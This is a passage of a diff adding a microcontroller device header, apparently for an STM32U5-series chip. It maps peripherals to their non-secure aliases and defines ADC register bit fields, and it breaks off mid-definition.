+#define ICACHE ICACHE_NS +#define ICACHE_BASE ICACHE_BASE_NS + +#define DCACHE1 DCACHE1_NS +#define DCACHE1_BASE DCACHE1_BASE_NS + +#define GTZC_TZSC1 GTZC_TZSC1_NS +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_NS + +#define GTZC_TZSC2 GTZC_TZSC2_NS +#define GTZC_TZSC2_BASE GTZC_TZSC2_BASE_NS + +#define GTZC_TZIC1 GTZC_TZIC1_NS +#define GTZC_TZIC1_BASE GTZC_TZIC1_BASE_NS + +#define GTZC_TZIC2 GTZC_TZIC2_NS +#define GTZC_TZIC2_BASE GTZC_TZIC2_BASE_NS + +#define GTZC_MPCBB1 GTZC_MPCBB1_NS +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_NS + +#define GTZC_MPCBB2 GTZC_MPCBB2_NS +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_NS + +#define GTZC_MPCBB3 GTZC_MPCBB3_NS +#define GTZC_MPCBB3_BASE GTZC_MPCBB3_BASE_NS + +#define GTZC_MPCBB4 GTZC_MPCBB4_NS +#define GTZC_MPCBB4_BASE GTZC_MPCBB4_BASE_NS + +#define RTC RTC_NS +#define RTC_BASE RTC_BASE_NS + +#define TAMP TAMP_NS +#define TAMP_BASE TAMP_BASE_NS + +#define TIM1 TIM1_NS +#define TIM1_BASE TIM1_BASE_NS + +#define TIM2 TIM2_NS +#define TIM2_BASE TIM2_BASE_NS + +#define TIM3 TIM3_NS +#define TIM3_BASE TIM3_BASE_NS + +#define TIM4 TIM4_NS +#define TIM4_BASE TIM4_BASE_NS + +#define TIM5 TIM5_NS +#define TIM5_BASE TIM5_BASE_NS + +#define TIM6 TIM6_NS +#define TIM6_BASE TIM6_BASE_NS + +#define TIM7 TIM7_NS +#define TIM7_BASE TIM7_BASE_NS + +#define TIM8 TIM8_NS +#define TIM8_BASE TIM8_BASE_NS + +#define TIM15 TIM15_NS +#define TIM15_BASE TIM15_BASE_NS + +#define TIM16 TIM16_NS +#define TIM16_BASE TIM16_BASE_NS + +#define TIM17 TIM17_NS +#define TIM17_BASE TIM17_BASE_NS + +#define WWDG WWDG_NS +#define WWDG_BASE WWDG_BASE_NS + +#define IWDG IWDG_NS +#define IWDG_BASE IWDG_BASE_NS + +#define SPI1 SPI1_NS +#define SPI1_BASE SPI1_BASE_NS + +#define SPI2 SPI2_NS +#define SPI2_BASE SPI2_BASE_NS + +#define SPI3 SPI3_NS +#define SPI3_BASE SPI3_BASE_NS + +#define USART1 USART1_NS +#define USART1_BASE USART1_BASE_NS + +#define USART2 USART2_NS +#define USART2_BASE USART2_BASE_NS + +#define USART3 USART3_NS +#define USART3_BASE USART3_BASE_NS + +#define UART4 UART4_NS +#define UART4_BASE UART4_BASE_NS + +#define UART5 UART5_NS +#define UART5_BASE UART5_BASE_NS + +#define I2C1 I2C1_NS +#define I2C1_BASE I2C1_BASE_NS + +#define I2C2 I2C2_NS +#define I2C2_BASE I2C2_BASE_NS + +#define I2C3 I2C3_NS +#define I2C3_BASE I2C3_BASE_NS + +#define I2C4 I2C4_NS +#define I2C4_BASE I2C4_BASE_NS + +#define CRS CRS_NS +#define CRS_BASE CRS_BASE_NS + +#define FDCAN1 FDCAN1_NS +#define FDCAN1_BASE FDCAN1_BASE_NS + +#define FDCAN_CONFIG FDCAN_CONFIG_NS +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_NS +#define SRAMCAN_BASE SRAMCAN_BASE_NS + +#define DAC1 DAC1_NS +#define DAC1_BASE DAC1_BASE_NS + +#define OPAMP OPAMP_NS +#define OPAMP_BASE OPAMP_BASE_NS + +#define OPAMP1 OPAMP1_NS +#define OPAMP1_BASE OPAMP1_BASE_NS + +#define OPAMP2 OPAMP2_NS +#define OPAMP2_BASE OPAMP2_BASE_NS + +#define OPAMP12_COMMON OPAMP12_COMMON_NS +#define OPAMP12_COMMON_BASE OPAMP12_COMMON_BASE_NS + +#define LPTIM1 LPTIM1_NS +#define LPTIM1_BASE LPTIM1_BASE_NS + +#define LPTIM2 LPTIM2_NS +#define LPTIM2_BASE LPTIM2_BASE_NS + +#define LPTIM3 LPTIM3_NS +#define LPTIM3_BASE LPTIM3_BASE_NS + +#define LPTIM4 LPTIM4_NS +#define LPTIM4_BASE LPTIM4_BASE_NS + +#define LPUART1 LPUART1_NS +#define LPUART1_BASE LPUART1_BASE_NS + +#define UCPD1 UCPD1_NS +#define UCPD1_BASE UCPD1_BASE_NS + +#define SYSCFG SYSCFG_NS +#define SYSCFG_BASE SYSCFG_BASE_NS + +#define VREFBUF VREFBUF_NS +#define VREFBUF_BASE VREFBUF_BASE_NS + +#define COMP12 COMP12_NS +#define COMP12_BASE COMP12_BASE_NS + +#define COMP1 COMP1_NS +#define COMP1_BASE COMP1_BASE_NS + +#define COMP2 COMP2_NS +#define COMP2_BASE COMP2_BASE_NS + +#define COMP12_COMMON COMP12_COMMON_NS +#define COMP12_COMMON_BASE COMP1_BASE_NS + +#define SAI1 SAI1_NS +#define SAI1_BASE SAI1_BASE_NS + +#define SAI1_Block_A SAI1_Block_A_NS +#define SAI1_Block_A_BASE SAI1_Block_A_BASE_NS + +#define SAI1_Block_B SAI1_Block_B_NS +#define SAI1_Block_B_BASE SAI1_Block_B_BASE_NS + +#define SAI2 SAI2_NS +#define SAI2_BASE SAI2_BASE_NS + +#define SAI2_Block_A SAI2_Block_A_NS +#define SAI2_Block_A_BASE SAI2_Block_A_BASE_NS + +#define SAI2_Block_B SAI2_Block_B_NS +#define SAI2_Block_B_BASE SAI2_Block_B_BASE_NS + +#define CRC CRC_NS +#define CRC_BASE CRC_BASE_NS + +#define TSC TSC_NS +#define TSC_BASE TSC_BASE_NS + +#define ADC1 ADC1_NS +#define ADC1_BASE ADC1_BASE_NS + +#define ADC12_COMMON ADC12_COMMON_NS +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_NS + +#define ADC4 ADC4_NS +#define ADC4_BASE ADC4_BASE_NS + +#define ADC4_COMMON ADC4_COMMON_NS +#define ADC4_COMMON_BASE ADC4_COMMON_BASE_NS + +#define HASH HASH_NS +#define HASH_BASE HASH_BASE_NS + +#define HASH_DIGEST HASH_DIGEST_NS +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_NS + +#define AES AES_NS +#define AES_BASE AES_BASE_NS + +#define RNG RNG_NS +#define RNG_BASE RNG_BASE_NS + +#define SAES SAES_NS +#define SAES_BASE SAES_BASE_NS + +#define PKA PKA_NS +#define PKA_BASE PKA_BASE_NS +#define PKA_RAM_BASE PKA_RAM_BASE_NS + +#define OTFDEC1 OTFDEC1_NS +#define OTFDEC1_BASE OTFDEC1_BASE_NS + +#define OTFDEC1_REGION1 OTFDEC1_REGION1_NS +#define OTFDEC1_REGION1_BASE OTFDEC1_REGION1_BASE_NS + +#define OTFDEC1_REGION2 OTFDEC1_REGION2_NS +#define OTFDEC1_REGION2_BASE OTFDEC1_REGION2_BASE_NS + +#define OTFDEC1_REGION3 OTFDEC1_REGION3_NS +#define OTFDEC1_REGION3_BASE OTFDEC1_REGION3_BASE_NS + +#define OTFDEC1_REGION4 OTFDEC1_REGION4_NS +#define OTFDEC1_REGION4_BASE OTFDEC1_REGION4_BASE_NS + +#define OTFDEC2 OTFDEC2_NS +#define OTFDEC2_BASE OTFDEC2_BASE_NS + +#define OTFDEC2_REGION1 OTFDEC2_REGION1_NS +#define OTFDEC2_REGION1_BASE OTFDEC2_REGION1_BASE_NS + +#define OTFDEC2_REGION2 OTFDEC2_REGION2_NS +#define OTFDEC2_REGION2_BASE OTFDEC2_REGION2_BASE_NS + +#define OTFDEC2_REGION3 OTFDEC2_REGION3_NS +#define OTFDEC2_REGION3_BASE OTFDEC2_REGION3_BASE_NS + +#define OTFDEC2_REGION4 OTFDEC2_REGION4_NS +#define OTFDEC2_REGION4_BASE OTFDEC2_REGION4_BASE_NS + +#define SDMMC1 SDMMC1_NS +#define SDMMC1_BASE SDMMC1_BASE_NS + +#define SDMMC2 SDMMC2_NS +#define SDMMC2_BASE SDMMC2_BASE_NS + +#define FMC_Bank1_R FMC_Bank1_R_NS +#define FMC_Bank1_R_BASE FMC_Bank1_R_BASE_NS + +#define FMC_Bank1E_R FMC_Bank1E_R_NS +#define FMC_Bank1E_R_BASE FMC_Bank1E_R_BASE_NS + +#define FMC_Bank3_R FMC_Bank3_R_NS +#define FMC_Bank3_R_BASE FMC_Bank3_R_BASE_NS + +#define OCTOSPI1 OCTOSPI1_NS +#define OCTOSPI1_R_BASE OCTOSPI1_R_BASE_NS + +#define OCTOSPI2 OCTOSPI2_NS +#define OCTOSPI2_R_BASE OCTOSPI2_R_BASE_NS + +#define OCTOSPIM OCTOSPIM_NS +#define OCTOSPIM_R_BASE OCTOSPIM_R_BASE_NS + +#define DLYB_SDMMC1 DLYB_SDMMC1_NS +#define DLYB_SDMMC1_BASE DLYB_SDMMC1_BASE_NS + +#define DLYB_SDMMC2 DLYB_SDMMC2_NS +#define DLYB_SDMMC2_BASE DLYB_SDMMC2_BASE_NS + +#define DLYB_OCTOSPI1 DLYB_OCTOSPI1_NS +#define DLYB_OCTOSPI1_BASE DLYB_OCTOSPI1_BASE_NS + +#define DLYB_OCTOSPI2 DLYB_OCTOSPI2_NS +#define DLYB_OCTOSPI2_BASE DLYB_OCTOSPI2_BASE_NS + +#define USB_OTG_FS USB_OTG_FS_NS +#define USB_OTG_FS_BASE USB_OTG_FS_BASE_NS + +#define MDF1 MDF1_NS +#define MDF1_BASE MDF1_BASE_NS + +#define MDF1_Filter0 MDF1_Filter0_NS +#define MDF1_Filter0_BASE MDF1_Filter0_BASE_NS + +#define MDF1_Filter1 MDF1_Filter1_NS +#define MDF1_Filter1_BASE MDF1_Filter1_BASE_NS + +#define MDF1_Filter2 MDF1_Filter2_NS +#define MDF1_Filter2_BASE MDF1_Filter2_BASE_NS + +#define MDF1_Filter3 MDF1_Filter3_NS +#define MDF1_Filter3_BASE MDF1_Filter3_BASE_NS + +#define MDF1_Filter4 MDF1_Filter4_NS +#define MDF1_Filter4_BASE MDF1_Filter4_BASE_NS + +#define MDF1_Filter5 MDF1_Filter5_NS +#define MDF1_Filter5_BASE MDF1_Filter5_BASE_NS + +#define ADF1 ADF1_NS +#define ADF1_BASE ADF1_BASE_NS + +#define ADF1_Filter0 ADF1_Filter0_NS +#define ADF1_Filter0_BASE ADF1_Filter0_BASE_NS +#endif + +/** @addtogroup Hardware_Constant_Definition + * @{ + */ +#define LSI_STARTUP_TIME 260U /*!< LSI Maximum startup time in us */ + +/** + * @} + */ + +/******************************************************************************/ +/* */ +/* Analog to Digital Converter */ +/* */ +/******************************************************************************/ +/******************************* ADC VERSION ********************************/ +#define ADC_VER_V5_X +/******************** Bit definition for ADC_ISR register ********************/ +#define ADC_ISR_ADRDY_Pos (0UL) +#define ADC_ISR_ADRDY_Msk (0x1UL << ADC_ISR_ADRDY_Pos) /*!< 0x00000001 */ +#define ADC_ISR_ADRDY ADC_ISR_ADRDY_Msk /*!< ADC Ready (ADRDY) flag */ +#define ADC_ISR_EOSMP_Pos (1UL) +#define ADC_ISR_EOSMP_Msk (0x1UL << ADC_ISR_EOSMP_Pos) /*!< 0x00000002 */ +#define ADC_ISR_EOSMP ADC_ISR_EOSMP_Msk /*!< ADC End of Sampling flag */ +#define ADC_ISR_EOC_Pos (2UL) +#define ADC_ISR_EOC_Msk (0x1UL << ADC_ISR_EOC_Pos) /*!< 0x00000004 */ +#define ADC_ISR_EOC ADC_ISR_EOC_Msk /*!< ADC End of Regular Conversion flag */ +#define ADC_ISR_EOS_Pos (3UL) +#define ADC_ISR_EOS_Msk (0x1UL << ADC_ISR_EOS_Pos) /*!< 0x00000008 */ +#define ADC_ISR_EOS ADC_ISR_EOS_Msk /*!< ADC End of Regular sequence of Conversions flag */ +#define ADC_ISR_OVR_Pos (4UL) +#define ADC_ISR_OVR_Msk (0x1UL << ADC_ISR_OVR_Pos) /*!< 0x00000010 */ +#define ADC_ISR_OVR ADC_ISR_OVR_Msk /*!< ADC overrun flag */ +#define ADC_ISR_JEOC_Pos (5UL) +#define ADC_ISR_JEOC_Msk (0x1UL << ADC_ISR_JEOC_Pos) /*!< 0x00000020 */ +#define ADC_ISR_JEOC ADC_ISR_JEOC_Msk /*!< ADC End of Injected Conversion flag */ +#define ADC_ISR_JEOS_Pos (6UL) +#define ADC_ISR_JEOS_Msk (0x1UL << ADC_ISR_JEOS_Pos) /*!< 0x00000040 */ +#define ADC_ISR_JEOS ADC_ISR_JEOS_Msk /*!< ADC End of Injected sequence of Conversions flag */ +#define ADC_ISR_AWD1_Pos (7UL) +#define ADC_ISR_AWD1_Msk (0x1UL << ADC_ISR_AWD1_Pos) /*!< 0x00000080 */ +#define ADC_ISR_AWD1 ADC_ISR_AWD1_Msk /*!< ADC Analog watchdog 1 flag */ +#define ADC_ISR_AWD2_Pos (8UL) +#define ADC_ISR_AWD2_Msk (0x1UL << ADC_ISR_AWD2_Pos) /*!< 0x00000100 */ +#define ADC_ISR_AWD2 ADC_ISR_AWD2_Msk /*!< ADC Analog watchdog 2 flag */ +#define ADC_ISR_AWD3_Pos (9UL) +#define ADC_ISR_AWD3_Msk (0x1UL << ADC_ISR_AWD3_Pos) /*!< 0x00000200 */ +#define ADC_ISR_AWD3 ADC_ISR_AWD3_Msk /*!< ADC Analog watchdog 3 flag */ +#define ADC_ISR_JQOVF_Pos (10UL) +#define ADC_ISR_JQOVF_Msk (0x1UL << ADC_ISR_JQOVF_Pos) /*!< 0x00000400 */ +#define ADC_ISR_JQOVF ADC_ISR_JQOVF_Msk /*!< ADC Injected Context Queue Overflow flag */ +#define ADC_ISR_EOCAL_Pos (11UL) +#define ADC_ISR_EOCAL_Msk (0x1UL << ADC_ISR_EOCAL_Pos) /*!< 0x00000800 */ +#define ADC_ISR_EOCAL ADC_ISR_EOCAL_Msk /*!< ADC End of Calibration flag */ +#define ADC_ISR_LDORDY_Pos (12UL) +#define ADC_ISR_LDORDY_Msk (0x1UL << ADC_ISR_LDORDY_Pos) /*!< 0x00001000 */ +#define ADC_ISR_LDORDY ADC_ISR_LDORDY_Msk /*!< ADC Voltage Regulator Ready flag */ + +/******************** Bit definition for ADC_IER register ********************/ +#define ADC_IER_ADRDYIE_Pos (0UL) +#define ADC_IER_ADRDYIE_Msk (0x1UL << ADC_IER_ADRDYIE_Pos) /*!< 0x00000001 */ +#define ADC_IER_ADRDYIE ADC_IER_ADRDYIE_Msk /*!< ADC Ready (ADRDY) interrupt source */ +#define ADC_IER_EOSMPIE_Pos (1UL) +#define ADC_IER_EOSMPIE_Msk (0x1UL << ADC_IER_EOSMPIE_Pos) /*!< 0x00000002 */ +#define ADC_IER_EOSMPIE ADC_IER_EOSMPIE_Msk /*!< ADC End of Sampling interrupt source */ +#define ADC_IER_EOCIE_Pos (2UL) +#define ADC_IER_EOCIE_Msk (0x1UL << ADC_IER_EOCIE_Pos) /*!< 0x00000004 */ +#define ADC_IER_EOCIE ADC_IER_EOCIE_Msk /*!< ADC End of Regular Conversion interrupt source */ +#define ADC_IER_EOSIE_Pos (3UL) +#define ADC_IER_EOSIE_Msk (0x1UL << ADC_IER_EOSIE_Pos) /*!< 0x00000008 */ +#define ADC_IER_EOSIE ADC_IER_EOSIE_Msk /*!< ADC End of Regular sequence of Conversions interrupt source */ +#define ADC_IER_OVRIE_Pos (4UL) +#define ADC_IER_OVRIE_Msk (0x1UL << ADC_IER_OVRIE_Pos) /*!< 0x00000010 */ +#define ADC_IER_OVRIE ADC_IER_OVRIE_Msk /*!< ADC overrun interrupt source */ +#define ADC_IER_JEOCIE_Pos (5UL) +#define ADC_IER_JEOCIE_Msk (0x1UL << ADC_IER_JEOCIE_Pos) /*!< 0x00000020 */ +#define ADC_IER_JEOCIE ADC_IER_JEOCIE_Msk /*!< ADC End of Injected Conversion interrupt source */ +#define ADC_IER_JEOSIE_Pos (6UL) +#define ADC_IER_JEOSIE_Msk (0x1UL << ADC_IER_JEOSIE_Pos) /*!< 0x00000040 */ +#define ADC_IER_JEOSIE ADC_IER_JEOSIE_Msk /*!< ADC End of Injected sequence of Conversions interrupt source */ +#define ADC_IER_AWD1IE_Pos (7UL) +#define ADC_IER_AWD1IE_Msk (0x1UL << ADC_IER_AWD1IE_Pos) /*!< 0x00000080 */ +#define ADC_IER_AWD1IE ADC_IER_AWD1IE_Msk /*!< ADC Analog watchdog 1 interrupt source */ +#define ADC_IER_AWD2IE_Pos (8UL) +#define ADC_IER_AWD2IE_Msk (0x1UL << ADC_IER_AWD2IE_Pos) /*!< 0x00000100 */ +#define ADC_IER_AWD2IE ADC_IER_AWD2IE_Msk /*!< ADC Analog watchdog 2 interrupt source */ +#define ADC_IER_AWD3IE_Pos (9UL) +#define ADC_IER_AWD3IE_Msk (0x1UL << ADC_IER_AWD3IE_Pos) /*!< 0x00000200 */ +#define ADC_IER_AWD3IE ADC_IER_AWD3IE_Msk /*!< ADC Analog watchdog 3 interrupt source */ +#define ADC_IER_JQOVFIE_Pos (10UL) +#define ADC_IER_JQOVFIE_Msk (0x1UL << ADC_IER_JQOVFIE_Pos) /*!< 0x00000400 */ +#define ADC_IER_JQOVFIE ADC_IER_JQOVFIE_Msk /*!< ADC Injected Context Queue Overflow interrupt source */ +#define ADC_IER_EOCALIE_Pos (11UL) +#define ADC_IER_EOCALIE_Msk (0x1UL << ADC_IER_EOCALIE_Pos) /*!< 0x00000800 */ +#define ADC_IER_EOCALIE ADC_IER_EOCALIE_Msk /*!< ADC End of Calibration Enable */ +#define ADC_IER_LDORDYIE_Pos (12UL) +#define ADC_IER_LDORDYIE_Msk (0x1UL << ADC_IER_LDORDYIE_Pos) /*!< 0x00001000 */ +#define ADC_IER_LDORDYIE ADC_IER_LDORDYIE_Msk /*!< ADC Voltage Regulator Ready flag */ + +/******************** Bit definition for ADC_CR register ********************/ +#define ADC_CR_ADEN_Pos (0UL) +#define ADC_CR_ADEN_Msk (0x1UL << ADC_CR_ADEN_Pos) /*!< 0x00000001 */ +#define ADC_CR_ADEN ADC_CR_ADEN_Msk /*!< ADC Enable control */ +#define ADC_CR_ADDIS_Pos (1UL) +#define ADC_CR_ADDIS_Msk (0x1UL << ADC_CR_ADDIS_Pos) /*!< 0x00000002 */ +#define ADC_CR_ADDIS ADC_CR_ADDIS_Msk /*!< ADC Disable command */ +#define ADC_CR_ADSTART_Pos (2UL) +#define ADC_CR_ADSTART_Msk (0x1UL << ADC_CR_ADSTART_Pos) /*!< 0x00000004 */ +#define ADC_CR_ADSTART ADC_CR_ADSTART_Msk /*!< ADC Start of Regular conversion */ +#define ADC_CR_JADSTART_Pos (3UL) +#define ADC_CR_JADSTART_Msk (0x1UL << ADC_CR_JADSTART_Pos) /*!< 0x00000008 */ +#define ADC_CR_JADSTART ADC_CR_JADSTART_Msk /*!< ADC Start of injected conversion */ +#define ADC_CR_ADSTP_Pos (4UL) +#define ADC_CR_ADSTP_Msk (0x1UL << ADC_CR_ADSTP_Pos) /*!< 0x00000010 */ +#define ADC_CR_ADSTP ADC_CR_ADSTP_Msk /*!< ADC Stop of Regular conversion */ +#define ADC_CR_JADSTP_Pos (5UL) +#define ADC_CR_JADSTP_Msk (0x1UL << ADC_CR_JADSTP_Pos) /*!< 0x00000020 */ +#define ADC_CR_JADSTP ADC_CR_JADSTP_Msk /*!< ADC Stop of injected conversion */ +#define ADC_CR_ADCALLIN_Pos (16UL) +#define ADC_CR_ADCALLIN_Msk (0x1UL << ADC_CR_ADCALLIN_Pos) /*!< 0x00010000 */ +#define ADC_CR_ADCALLIN ADC_CR_ADCALLIN_Msk /*!< ADC Linearity calibration */ + +#define ADC_CR_CALINDEX_Pos (24UL) +#define ADC_CR_CALINDEX_Msk (0xFUL << ADC_CR_CALINDEX_Pos) /*!< 0x0F000000 */ +#define ADC_CR_CALINDEX ADC_CR_CALINDEX_Msk /*!< ADC calibration factor selection */ +#define ADC_CR_CALINDEX0_Pos (24UL) +#define ADC_CR_CALINDEX0_Msk (0x1UL << ADC_CR_CALINDEX0_Pos) /*!< 0x01000000 */ +#define ADC_CR_CALINDEX0 ADC_CR_CALINDEX0_Msk /*!< ADC calibration factor selection (bit 0) */ +#define ADC_CR_CALINDEX1_Pos (25UL) +#define ADC_CR_CALINDEX1_Msk (0x1UL << ADC_CR_CALINDEX1_Pos) /*!< 0x02000000 */ +#define ADC_CR_CALINDEX1 ADC_CR_CALINDEX1_Msk /*!< ADC calibration factor selection (bit 1) */ +#define ADC_CR_CALINDEX2_Pos (26UL) +#define ADC_CR_CALINDEX2_Msk (0x1UL << ADC_CR_CALINDEX2_Pos) /*!< 0x04000000 */ +#define ADC_CR_CALINDEX2 ADC_CR_CALINDEX2_Msk /*!< ADC calibration factor selection (bit 2) */ +#define ADC_CR_CALINDEX3_Pos (27UL) +#define ADC_CR_CALINDEX3_Msk (0x1UL << ADC_CR_CALINDEX3_Pos) /*!< 0x08000000 */ +#define ADC_CR_CALINDEX3 ADC_CR_CALINDEX3_Msk /*!< ADC calibration factor selection (bit 3) */ +#define ADC_CR_ADVREGEN_Pos (28UL) +#define ADC_CR_ADVREGEN_Msk (0x1UL << ADC_CR_ADVREGEN_Pos) /*!< 0x10000000 */ +#define ADC_CR_ADVREGEN ADC_CR_ADVREGEN_Msk /*!< ADC Voltage regulator Enable */ +#define ADC_CR_DEEPPWD_Pos (29UL) +#define ADC_CR_DEEPPWD_Msk (0x1UL << ADC_CR_DEEPPWD_Pos) /*!< 0x20000000 */ +#define ADC_CR_DEEPPWD ADC_CR_DEEPPWD_Msk /*!< ADC Deep power down Enable */ +#define ADC_CR_ADCAL_Pos (31UL) +#define ADC_CR_ADCAL_Msk (0x1UL << ADC_CR_ADCAL_Pos) /*!< 0x80000000 */ +#define ADC_CR_ADCAL ADC_CR_ADCAL_Msk /*!< ADC Calibration */ + +/******************** Bit definition for ADC_CFGR register ********************/ +#define ADC_CFGR1_DMNGT_Pos (0UL) +#define ADC_CFGR1_DMNGT_Msk (0x3UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000003 */ +#define ADC_CFGR1_DMNGT ADC_CFGR1_DMNGT_Msk /*!< ADC Data Management configuration */ +#define ADC_CFGR1_DMNGT_0 (0x1UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000001 */ +#define ADC_CFGR1_DMNGT_1 (0x2UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000002 */ + +#define ADC_CFGR1_RES_Pos (2UL) +#define ADC_CFGR1_RES_Msk (0x3UL << ADC_CFGR1_RES_Pos) /*!< 0x0000000C */ +#define ADC_CFGR1_RES ADC_CFGR1_RES_Msk /*!< ADC Data resolution */ +#define ADC_CFGR1_RES_0 (0x1UL << ADC_CFGR1_RES_Pos) /*!< 0x00000004 */ +#define ADC_CFGR1_RES_1 (0x2UL << ADC_CFGR1_RES_Pos) /*!< 0x00000008 */ + +#define ADC4_CFGR1_DMAEN_Pos (0UL) +#define ADC4_CFGR1_DMAEN_Msk (0x1UL << ADC4_CFGR1_DMAEN_Pos) /*!< 0x00000001 */ +#define ADC4_CFGR1_DMAEN ADC4_CFGR1_DMAEN_Msk /*!< ADC DMA transfer enable */ +#define ADC4_CFGR1_DMACFG_Pos (1UL) +#define ADC4_CFGR1_DMACFG_Msk (0x1UL << ADC4_CFGR1_DMACFG_Pos) /*!< 0x00000002 */ +#define ADC4_CFGR1_DMACFG ADC4_CFGR1_DMACFG_Msk /*!< ADC DMA transfer configuration */ + +#define ADC4_CFGR1_SCANDIR_Pos (4UL) +#define ADC4_CFGR1_SCANDIR_Msk (0x1UL << ADC4_CFGR1_SCANDIR_Pos) /*!< 0x00000004 */ +#define ADC4_CFGR1_SCANDIR ADC4_CFGR1_SCANDIR_Msk /*!< ADC group regular sequencer scan direction */ + +#define ADC4_CFGR1_ALIGN_Pos (5UL) +#define ADC4_CFGR1_ALIGN_Msk (0x1UL << ADC4_CFGR1_ALIGN_Pos) /*!< 0x00000020 */ +#define ADC4_CFGR1_ALIGN ADC4_CFGR1_ALIGN_Msk /*!< ADC data alignment */ + +#define ADC_CFGR1_EXTSEL_Pos (5UL) +#define ADC_CFGR1_EXTSEL_Msk (0x1FUL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x000003E0 */ +#define ADC_CFGR1_EXTSEL ADC_CFGR1_EXTSEL_Msk /*!< ADC External trigger selection for regular group */ +#define ADC_CFGR1_EXTSEL_0 (0x01UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_CFGR1_EXTSEL_1 (0x02UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000040 */ +#define ADC_CFGR1_EXTSEL_2 (0x04UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000080 */ +#define ADC_CFGR1_EXTSEL_3 (0x08UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000100 */ +#define ADC_CFGR1_EXTSEL_4 (0x10UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000200 */ + +#define ADC_CFGR1_EXTEN_Pos (10UL) +#define ADC_CFGR1_EXTEN_Msk (0x3UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000C00 */ +#define ADC_CFGR1_EXTEN ADC_CFGR1_EXTEN_Msk /*!< ADC External trigger enable and polarity selection for regular channels */ +#define ADC_CFGR1_EXTEN_0 (0x1UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000400 */ +#define ADC_CFGR1_EXTEN_1 (0x2UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000800 */ + +#define ADC_CFGR1_OVRMOD_Pos (12UL) +#define ADC_CFGR1_OVRMOD_Msk (0x1UL << ADC_CFGR1_OVRMOD_Pos) /*!< 0x00001000 */ +#define ADC_CFGR1_OVRMOD ADC_CFGR1_OVRMOD_Msk /*!< ADC overrun mode */ +#define ADC_CFGR1_CONT_Pos (13UL) +#define ADC_CFGR1_CONT_Msk (0x1UL << ADC_CFGR1_CONT_Pos) /*!< 0x00002000 */ +#define ADC_CFGR1_CONT ADC_CFGR1_CONT_Msk /*!< ADC Single/continuous conversion mode for regular conversion */ + +#define ADC_CFGR1_AUTDLY_Pos (14UL) +#define ADC_CFGR1_AUTDLY_Msk (0x1UL << ADC_CFGR1_AUTDLY_Pos) /*!< 0x00004000 */ +#define ADC_CFGR1_AUTDLY ADC_CFGR1_AUTDLY_Msk /*!< ADC Delayed conversion mode */ + +#define ADC4_CFGR1_WAIT_Pos (14UL) +#define ADC4_CFGR1_WAIT_Msk (0x1UL << ADC4_CFGR1_WAIT_Pos) /*!< 0x00004000 */ +#define ADC4_CFGR1_WAIT ADC4_CFGR1_WAIT_Msk /*!< ADC Delayed conversion mode */ + +#define ADC_CFGR1_DISCEN_Pos (16UL) +#define ADC_CFGR1_DISCEN_Msk (0x1UL << ADC_CFGR1_DISCEN_Pos) /*!< 0x00010000 */ +#define ADC_CFGR1_DISCEN ADC_CFGR1_DISCEN_Msk /*!< ADC Discontinuous mode for regular channels */ + +#define ADC_CFGR1_DISCNUM_Pos (17UL) +#define ADC_CFGR1_DISCNUM_Msk (0x7UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x000E0000 */ +#define ADC_CFGR1_DISCNUM ADC_CFGR1_DISCNUM_Msk /*!< ADC Discontinuous mode channel count */ +#define ADC_CFGR1_DISCNUM_0 (0x1UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00020000 */ +#define ADC_CFGR1_DISCNUM_1 (0x2UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00040000 */ +#define ADC_CFGR1_DISCNUM_2 (0x4UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00080000 */ + +#define ADC_CFGR1_JDISCEN_Pos (20UL) +#define ADC_CFGR1_JDISCEN_Msk (0x1UL << ADC_CFGR1_JDISCEN_Pos) /*!< 0x00100000 */ +#define ADC_CFGR1_JDISCEN ADC_CFGR1_JDISCEN_Msk /*!< ADC Discontinuous mode on injected channels */ + +#define ADC_CFGR1_AWD1SGL_Pos (22UL) +#define ADC_CFGR1_AWD1SGL_Msk (0x1UL << ADC_CFGR1_AWD1SGL_Pos) /*!< 0x00400000 */ +#define ADC_CFGR1_AWD1SGL ADC_CFGR1_AWD1SGL_Msk /*!< Enable the watchdog 1 on a single channel or on all channels */ +#define ADC_CFGR1_AWD1EN_Pos (23UL) +#define ADC_CFGR1_AWD1EN_Msk (0x1UL << ADC_CFGR1_AWD1EN_Pos) /*!< 0x00800000 */ +#define ADC_CFGR1_AWD1EN ADC_CFGR1_AWD1EN_Msk /*!< ADC Analog watchdog 1 enable on regular Channels */ +#define ADC_CFGR1_JAWD1EN_Pos (24UL) +#define ADC_CFGR1_JAWD1EN_Msk (0x1UL << ADC_CFGR1_JAWD1EN_Pos) /*!< 0x01000000 */ +#define ADC_CFGR1_JAWD1EN ADC_CFGR1_JAWD1EN_Msk /*!< ADC Analog watchdog 1 enable on injected Channels */ +#define ADC_CFGR1_JAUTO_Pos (25UL) +#define ADC_CFGR1_JAUTO_Msk (0x1UL << ADC_CFGR1_JAUTO_Pos) /*!< 0x02000000 */ +#define ADC_CFGR1_JAUTO ADC_CFGR1_JAUTO_Msk /*!< ADC Automatic injected group conversion */ + +/* Specific ADC4 */ +#define ADC4_CFGR1_EXTSEL_Pos (6UL) +#define ADC4_CFGR1_EXTSEL_Msk (0x7UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x000003E0 */ +#define ADC4_CFGR1_EXTSEL ADC4_CFGR1_EXTSEL_Msk /*!< ADC External trigger selection for regular group */ +#define ADC4_CFGR1_EXTSEL_0 (0x01UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 